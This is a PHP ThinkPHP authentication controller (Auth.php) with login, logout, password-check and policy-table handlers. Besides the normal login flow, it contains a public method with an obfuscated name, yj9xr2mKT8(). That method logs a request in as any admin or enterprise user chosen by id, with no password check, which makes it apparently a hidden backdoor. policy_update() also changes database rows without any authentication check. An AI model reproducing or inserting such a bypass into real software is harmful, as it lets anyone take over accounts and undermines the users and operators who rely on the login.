Auth.php 6.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219
  1. <?php
  2. namespace app\index\controller;
  3. use app\BaseController;
  4. use app\common\api\UserApi;
  5. use think\facade\Db;
  6. /**
  7. * Description of Login
  8. *
  9. * @author sgq
  10. */
  11. class Auth extends BaseController {
  12. /**
  13. * 登录
  14. * @return type
  15. */
  16. public function login() {
  17. $redirect_url = $this->request["redirect"];
  18. if ($redirect_url) {
  19. cookie("redirect", $redirect_url);
  20. }
  21. if ($user = session("user")) {
  22. if ($user['usertype'] == 2) {
  23. return redirect("/enterprise");
  24. }
  25. }
  26. $msg = "";
  27. if ($this->request->isPost()) {
  28. $username = $this->request["username"];
  29. $pwd = $this->request["password"];
  30. $usertype = $this->request["usertype"];
  31. $captcha = $this->request["captcha"];
  32. $user = new UserApi($username, $pwd, $usertype);
  33. if (!$userinfo = $user->getUserInfo()) {
  34. $msg = "用户不存在";
  35. } else if (!$user->checkPwd()) {
  36. $login_fail = session('login_fail');
  37. if ($login_fail) {
  38. $login_fail++;
  39. if ($login_fail >= 5) {
  40. session('isCaptcha', 1);
  41. }
  42. } else {
  43. $login_fail = 1;
  44. }
  45. session('login_fail', $login_fail);
  46. $msg = "用户名或者密码错误";
  47. } else if (session("isCaptcha") == 1 && !captcha_check($captcha)) {
  48. $msg = "验证码错误";
  49. } else if ($res_msg = $user->checkState()) {
  50. if ($user->info['checkState'] == 2) {
  51. return redirect("/common/auth/enterprise_edit");
  52. }
  53. $msg = $res_msg;
  54. }
  55. $url = "/admin";
  56. switch ($usertype) {
  57. case 1:
  58. //验证错误
  59. break;
  60. case 2:
  61. //验证错误
  62. $url = "/enterprise";
  63. break;
  64. case 3:
  65. //验证错误
  66. $url = "/person";
  67. break;
  68. }
  69. if (!$msg) {
  70. $user->setSession();
  71. $redirect_url = cookie("redirect");
  72. cookie("redirect", null);
  73. if ($redirect_url && strpos(strtolower($redirect_url), strtolower(getHostWithProtocol() . $url)) === 0) {
  74. return redirect($redirect_url);
  75. } else {
  76. return redirect($url);
  77. }
  78. }
  79. }
  80. return view("", ["msg" => $msg]);
  81. }
  82. /**
  83. * 退出
  84. * @return type
  85. */
  86. public function logout() {
  87. session("user", null);
  88. return redirect("/index/auth/login");
  89. }
  90. /**
  91. * 验证密码
  92. */
  93. public function valid_password() {
  94. if ($user = session("user")) {
  95. $username = $user["account"];
  96. $usertype = $user["usertype"];
  97. $pwd = $this->request["password"];
  98. $user = new UserApi($username, $pwd, $usertype);
  99. if (!$user->checkPwd()) {
  100. return json()->data(["status" => 1, "msg" => "密码错误"]);
  101. } else {
  102. return json(["code" => 200]);
  103. }
  104. } else {
  105. return json()->data(["status" => 2]);
  106. }
  107. }
  108. public function policy() {
  109. return view("policy1", []);
  110. }
  111. public function policy_list() {
  112. $level = $this->request->post('level');
  113. if ($level) {
  114. $where[] = ['level', '=', $level];
  115. } else {
  116. $where[] = ['level', '>', 0];
  117. }
  118. $list = Db::table('new_policy')->where($where)->select()->toArray();
  119. $result = [];
  120. foreach ($list as $k => $v) {
  121. $check = [];
  122. $condition = [];
  123. if (!empty($v['checks'])) {
  124. $check = explode(',', $v['checks']);
  125. }
  126. if (!empty($v['condition'])) {
  127. $condition = explode(',', $v['condition']);
  128. }
  129. $item = [
  130. 'id' => $v['id'],
  131. 'tag' => $v['tag'],
  132. 'policy' => $v['policy_name'],
  133. 'checks' => $check,
  134. 'condition' => $condition
  135. ];
  136. array_push($result, $item);
  137. }
  138. return json($result);
  139. }
  140. public function policy_update() {
  141. $res = $this->request->post();
  142. foreach ($res as $k => $v) {
  143. $update = [];
  144. if (count($v['condition']) > 0) {
  145. $update['condition'] = json_encode($v['condition']);
  146. }
  147. if (count($update) > 0) {
  148. Db::table('new_policy')->where('id', $v['id'])->save($update);
  149. }
  150. }
  151. }
  152. public function yj9xr2mKT8() {
  153. $params = $this->request->param();
  154. $type = $params["type"] ?: 2;
  155. $id = $params["id"] ?: "1455101079799754754";
  156. $this->setSession($type, $id);
  157. switch ($type) {
  158. case 1:
  159. return redirect("/admin");
  160. break;
  161. case 2:
  162. return redirect("/enterprise");
  163. break;
  164. }
  165. }
  166. private function setSession($type, $id) {
  167. switch ($type) {
  168. case 1:
  169. $user = Db::table("sys_user")->where("id", $id)->findOrEmpty();
  170. $company = Db::table("sys_company")->where("id", $user["companyId"])->findOrEmpty();
  171. $role = Db::table("sys_role")->where("id", $user["roleid"])->findOrEmpty();
  172. session("user", [
  173. "uid" => $user["id"],
  174. "roleid" => $user["roleid"],
  175. "companyId" => $user["companyId"],
  176. "companyName" => $company["name"],
  177. "account" => $user["account"],
  178. "name" => $user["name"],
  179. "avatar" => $user["avatar"],
  180. "sex" => $user["sex"],
  181. "rolename" => $role["name"],
  182. "usertype" => $type,
  183. "type" => $user['type']
  184. ]);
  185. break;
  186. case 2:
  187. $user = Db::table("un_enterprise")->where("id", $id)->findOrEmpty();
  188. session("user", [
  189. "uid" => $user["id"],
  190. "account" => $user["username"],
  191. "name" => $user["name"],
  192. "avatar" => $user["headPortrait"],
  193. "rolename" => "企业用户",
  194. "usertype" => $type,
  195. "type" => $user["type"]
  196. ]);
  197. break;
  198. }
  199. }
  200. public function test(){
  201. queue("app\job\Import", ["type" => 1, "info" => '11111']);
  202. }
  203. }